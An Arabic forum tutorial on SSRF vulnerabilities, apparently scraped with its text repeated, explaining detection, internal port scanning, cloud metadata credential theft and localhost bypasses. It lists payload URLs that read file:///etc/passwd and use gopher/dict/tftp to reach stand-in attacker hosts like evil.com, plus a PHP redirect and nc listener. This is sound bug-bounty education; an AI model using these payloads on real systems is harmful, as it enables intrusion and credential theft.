x32x01
أدارة أكتب كود
- بواسطة x32x01 ||
ثغرات Server Side Request Forgery (SSRF)
تعالي نترجمها الاول ترجمه حرفيه تزوير طلب الخادم
بمعني انك تقدر تعدل في الريكوست اللي بيتبعت للسيرفر
لو هنعرف الثغره تبعا للـ owasp :
المختصر المفيد انها ثغره بتحصل لما الاتاكر بيقدر يبعت او يزور ريكوست بدل السيرفر فبيقدر يعمل بايباس لل فيروال وبلتالي يقدر يأكسس الانترنال سيرفر
يعني انا لو عايز اوصل لسيرفر داخلي جوه شركه او موقع ما طبيعي الفيروال هيمنعني وهيبلوك الريكوست بتاعي لكن لو الريكوست جايه من نفس الشركه ساعتها ممكن تعدى
تخيل كده معايا ان موقع ما يسمي
فالموقع ده عنده بارميتر يسمي URL بيعرض موقع خارجي من بره زي جوجل كمثال
فطبيعي دلوقتي اللي هيظهر قدامك صفحه جوجل مش صفحه الموقع اللي انت كنت لسه فتحو
تخيل معايا بقي ان ال admin_pane انترنال جوه السيرفر وموجود عندك بارميتر ال URL حسك بدأت تفهم فانت عدلت او زيفت الريكوست وخليتو بالشكل ده :
تتوقع ايه اللي هيحصل ؟ والفيروال فكر ازاي دلوقتي
ايه اللي هيحصل انك دلوقتي معاك اكسس جوه السيرفر الفيروال فكر ازاي بقي ؟
تخيل معايا ان الشركه عشان تضمن ان الموظفين بس هي اللي تقدر تدخل للأدمن بانل لازم يكون من ايبي داخلي فالفيروال ماشين مش انسان هو خلاص لقي انك داخل للادمن بانل من سايت هو موجود انترنال عنده
مع عدم وجود حمايه من ثغرات ال SSRF السايت هيعرض صفحه الادمن ليه ؟ عشان الريكوست جي من example.com وهي ماشيت موثوقه عالشبكه
أزاى تبحث عن ثغرات SSRF
ازاي تبدأ تدور عن ثغرات ال SSRF ا ابدأ بص علي ال URL واتأكد ان الموقع بيvalidated ال inputs ولا لا غالبا السايت بيطلب حجات من بره السيرفر مثلا صوره مصغره مقطع فيديو من اليوتيوب لو الموقع مش بيعمل validated هنا اقدر اقلك ان في SSRF
بص كده
بصيت خلاص طب بص هنا
لو فهمت ايه الفرق وايه اللي حصل يبقي انت كده فهمت الثغره
في الاول الموقع اللي هو example.com بيطلب صوره من جوجل مثلا عشان تتعرض عندو وهنا مش بيعمل validated قام الاتاكر مبدل الصوره دي ب localhost وبيطلب انو يعرضلو ملف مثلا اسمو password.txt
لو الموقع هنا مش بيعمل validated فخلاص بقي بدل ما يعرض الصوره هنا هيعرض الملف اللي اسمو password_file.txt
خلاص انت عرفت ان الموقع ده في SSRF هتبدأ تاكسس بقي الانترنال سيرفر اللي هو في الغالب بيبقي كده 127.0.0.0 فانت هتزيف اريكوست تخليه كده
كمثال يعني
في الرابط ده موجود اغلب الايبي اللي هتجرب بيهم
دلوقتي انت لقيت SSRF تقدر تعمل بيها ايه
Network Scanning & Port Scanning
عن طريق الSSRF تقدر تعرف في عناوين IP داخليه او بورت مفتوح ايه اللي هيحددلك الكلام ده رد السيرفر فمثلا يعني :
ده ال request
ده ال responds
ولما تبعت request
ده هيبقي ال responds
كده انت عرفت ان الايبي ده 123.145.16 موجود علي الشبكه بينما الايبي ده 123.145.17 مش موجود عالشبكه نفس الكلام مع فحص البورتات بس بعد الايبي بتحط البورت وتشوف رد السيرفر كده كمثال 12.34.5:80
الخلاصه هي انك من الريسبونس بتحدد سواء الايبي موجود او البورت موجود
(SSRF to RCE )
في البدايه حابب اعرفك ايه هو ال metadata file
الشركات اللي بتقدم خدمات vps زي Google cloud او AWS بيكون عندهم ملف يسمي metadata file بيحتوي الميتا داتا علي بيانات مثلا تقدر تخلي الاتاكر يصعد ال SSRF ل RCE زي ايه مثلا
ِAPI keys
AWS S3 tokens ( لو اخدنا امازون كمثال )
passwords
identity credential
and sensitive data
بالبيانات دي انت تقدر تصعد ال SSRF ل RCE ومش معني انك لقيت SSRF انك لقيت RCE كل سناريو بيختلف بس انا بشرح بصفه عامه يعني ولما تحل لابات portswigger هتفهمني اكتر
هشرح بعض الطرق عشان ت Bypass الثغره يعني بالمنطق انت مش هتجرب طريقه واحده وبعد كده تقول خلاص كده مفيش SSRF
bypass localhost :
طبيعي اول حاجه هتجربها عشان تعمل عمليه bypass هو الايبي الداخلي اللي كلنا عارفينه اللي هو ده http://127.0.0.1:80 بس كده خلاص يعني مش هتجرب تاني طب ما انت ممكن تجرب بال Decimal او Hexadecimal ممكن تعدي خش شوف ريبورتات علي هاكر وان المهم انا جمعت كل الاحتمالات الممكنه هتلاقيهم هنا
تحاول تقرأ ملف ال passwd قرأ معاك خير وبركه مقرأش متيأسش وجرب طرق تاني
ابدأ جرب بعض ال protocol احيانا بتنفع زي
dict://
For example :
For example
For example :
Protocol is a simple lockstep File Transfer Protocol which allows a client to get a file from or put a file onto a remote host
For example :
وده الأهم والشائع
نقدر نقول هو http بروتوكول ايه المميز في جوفر وليه بقول عليه ان هو المميز عشان جوفر بيدعم السطر الجديد يعني ايه بيدعم السطر الجديد يعني تقدر تنفذ اوامر عن طريق ال php code وكده انت قدرت تاخد RCE
For example :
اخدت بالك انو طبق امر وبعدين عمل سطر جديد وبعدين امر جديد وهكذا وفي الاخر اطبق الأمر علي عكس بروتوكول http اللي ميقدرش يعمل كده وهو مش هيفهم اصلا انت بتعمل ايه
SSRF to Reflected XSS
هي حاجه بسيطه مش محتاجه شرح بس قلت اقلها
لو مثلا السايت ده مصاب SSRF
بتفتح السايت يظهر معاك صوره جوجل فكده ال SSRF موجوده
هتشيل سايت جوجل وتحط السايت بتاعك اللي انت عملو اللي مكتوب فيه Hacked ده وتبدل جوجل بالسايت بتاعك بس كده انت حولت ال SSRF ل Reflected XSS
دي تول بتعمل معظم اللي انا شرحتو بس بتديها البارميتر المصاب وهي بتشتغل
وشوف دي برضو
المهم دلوقتي انت هتعمل ايه بعد كل ده الاول هتقرا شويه Reports علي Hacker one هحطلك اللينك بتاعهم بعدها هتحل لابات portswigger ويبقي كده انت تمام
https://hackerone.com/reports/517461
https://hackerone.com/reports/223203
https://hackerone.com/reports/115857
https://hackerone.com/reports/392859
ودي لابات portswigger
https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost
وصديقي مؤمن شارح الثغره علي قناتو تقدر تخش تسمعو برضو
كده انا خلصت اللي يعرفوا عن الثغره لو عندك اي حاجه ياريت تضيفها فالتعليقات
تعالي نترجمها الاول ترجمه حرفيه تزوير طلب الخادم
بمعني انك تقدر تعدل في الريكوست اللي بيتبعت للسيرفر
لو هنعرف الثغره تبعا للـ owasp :
is a vulnerability that happens when an attacker is able to send requests on behalf of a server. It allows attackers to “forge” the request signatures of the vulnerable server, therefore assuming a privileged position on a network, bypassing firewall controls and gaining access to internal services
المختصر المفيد انها ثغره بتحصل لما الاتاكر بيقدر يبعت او يزور ريكوست بدل السيرفر فبيقدر يعمل بايباس لل فيروال وبلتالي يقدر يأكسس الانترنال سيرفر
يعني انا لو عايز اوصل لسيرفر داخلي جوه شركه او موقع ما طبيعي الفيروال هيمنعني وهيبلوك الريكوست بتاعي لكن لو الريكوست جايه من نفس الشركه ساعتها ممكن تعدى
تخيل كده معايا ان موقع ما يسمي
Code:
https://example.com
Code:
https://example.com/proxy?url=google.com
تخيل معايا بقي ان ال admin_pane انترنال جوه السيرفر وموجود عندك بارميتر ال URL حسك بدأت تفهم فانت عدلت او زيفت الريكوست وخليتو بالشكل ده :
Code:
https://example.com/proxy?url=admin_panel.example.com
ايه اللي هيحصل انك دلوقتي معاك اكسس جوه السيرفر الفيروال فكر ازاي بقي ؟
تخيل معايا ان الشركه عشان تضمن ان الموظفين بس هي اللي تقدر تدخل للأدمن بانل لازم يكون من ايبي داخلي فالفيروال ماشين مش انسان هو خلاص لقي انك داخل للادمن بانل من سايت هو موجود انترنال عنده
With no SSRF protection mechanism in place, the web application would display the admin panel back to the user, because the request is coming from public.example.com, a trusted machine on the network
مع عدم وجود حمايه من ثغرات ال SSRF السايت هيعرض صفحه الادمن ليه ؟ عشان الريكوست جي من example.com وهي ماشيت موثوقه عالشبكه
أزاى تبحث عن ثغرات SSRF
ازاي تبدأ تدور عن ثغرات ال SSRF ا ابدأ بص علي ال URL واتأكد ان الموقع بيvalidated ال inputs ولا لا غالبا السايت بيطلب حجات من بره السيرفر مثلا صوره مصغره مقطع فيديو من اليوتيوب لو الموقع مش بيعمل validated هنا اقدر اقلك ان في SSRF
بص كده
Code:
https://example.com/upload_profile_from_url.php?url=www.google.com/cute_pugs.jpeg
Code:
https://example.com/upload_profile_from_url.php?url=localhost/secret_password_file.txt
في الاول الموقع اللي هو example.com بيطلب صوره من جوجل مثلا عشان تتعرض عندو وهنا مش بيعمل validated قام الاتاكر مبدل الصوره دي ب localhost وبيطلب انو يعرضلو ملف مثلا اسمو password.txt
لو الموقع هنا مش بيعمل validated فخلاص بقي بدل ما يعرض الصوره هنا هيعرض الملف اللي اسمو password_file.txt
خلاص انت عرفت ان الموقع ده في SSRF هتبدأ تاكسس بقي الانترنال سيرفر اللي هو في الغالب بيبقي كده 127.0.0.0 فانت هتزيف اريكوست تخليه كده
Code:
https://example.com/upload_profile_from_url.php?url=127.0.0.1:22
في الرابط ده موجود اغلب الايبي اللي هتجرب بيهم
Code:
https://en.wikipedia.org/wiki/Reserved_IP_addresses
Network Scanning & Port Scanning
عن طريق الSSRF تقدر تعرف في عناوين IP داخليه او بورت مفتوح ايه اللي هيحددلك الكلام ده رد السيرفر فمثلا يعني :
ده ال request
Code:
https://example.com/upload_profile_from_url.php
Code:
Error: cannot upload image: http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
ده هيبقي ال responds
Code:
Error: cannot upload image: Connection Failed
الخلاصه هي انك من الريسبونس بتحدد سواء الايبي موجود او البورت موجود
Code:
Server Side Request Forgery to remote command execution
في البدايه حابب اعرفك ايه هو ال metadata file
الشركات اللي بتقدم خدمات vps زي Google cloud او AWS بيكون عندهم ملف يسمي metadata file بيحتوي الميتا داتا علي بيانات مثلا تقدر تخلي الاتاكر يصعد ال SSRF ل RCE زي ايه مثلا
ِAPI keys
AWS S3 tokens ( لو اخدنا امازون كمثال )
passwords
identity credential
and sensitive data
بالبيانات دي انت تقدر تصعد ال SSRF ل RCE ومش معني انك لقيت SSRF انك لقيت RCE كل سناريو بيختلف بس انا بشرح بصفه عامه يعني ولما تحل لابات portswigger هتفهمني اكتر
هشرح بعض الطرق عشان ت Bypass الثغره يعني بالمنطق انت مش هتجرب طريقه واحده وبعد كده تقول خلاص كده مفيش SSRF
bypass localhost :
طبيعي اول حاجه هتجربها عشان تعمل عمليه bypass هو الايبي الداخلي اللي كلنا عارفينه اللي هو ده http://127.0.0.1:80 بس كده خلاص يعني مش هتجرب تاني طب ما انت ممكن تجرب بال Decimal او Hexadecimal ممكن تعدي خش شوف ريبورتات علي هاكر وان المهم انا جمعت كل الاحتمالات الممكنه هتلاقيهم هنا
Code:
Some technique to exploite SSRF
file:///etc/passwd
ابدأ جرب بعض ال protocol احيانا بتنفع زي
dict://
Code:
DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:
Code:
http://example.com/ssrf.php?dict://evil.com:1337/
Code:
sftp://
Code:
stands for SSH File Transfer Protocol, or Secure File Transfer
Protocol
Code:
http://example.com/ssrf.php?url=sftp://localhost/
stands for Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information serviceldap:// or ldaps://
For example :
Code:
http://example.com/ssrf.php?url=ldapi:://localhost:1337/
Code:
tftp://
For example :
Code:
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET
Code:
gopher:// -
نقدر نقول هو http بروتوكول ايه المميز في جوفر وليه بقول عليه ان هو المميز عشان جوفر بيدعم السطر الجديد يعني ايه بيدعم السطر الجديد يعني تقدر تنفذ اوامر عن طريق ال php code وكده انت قدرت تاخد RCE
For example :
Code:
http://example.com/ssrf.php?url=http://attacker.com/gopher.php
Code:
gopher.php (host it on acttacker.com):-
Code:
<?php
header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');
?>
Code:
evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 49398)
Code:
Hi
ssrf
test
SSRF to Reflected XSS
هي حاجه بسيطه مش محتاجه شرح بس قلت اقلها
لو مثلا السايت ده مصاب SSRF
Code:
https://example.com/upload_profile_from_url.php?url=https://google.com
هتشيل سايت جوجل وتحط السايت بتاعك اللي انت عملو اللي مكتوب فيه Hacked ده وتبدل جوجل بالسايت بتاعك بس كده انت حولت ال SSRF ل Reflected XSS
دي تول بتعمل معظم اللي انا شرحتو بس بتديها البارميتر المصاب وهي بتشتغل
Code:
https://github.com/swisskyrepo/SSRFmap
Code:
https://github.com/daeken/SSRFTest
https://hackerone.com/reports/517461
https://hackerone.com/reports/223203
https://hackerone.com/reports/115857
https://hackerone.com/reports/392859
ودي لابات portswigger
https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost
وصديقي مؤمن شارح الثغره علي قناتو تقدر تخش تسمعو برضو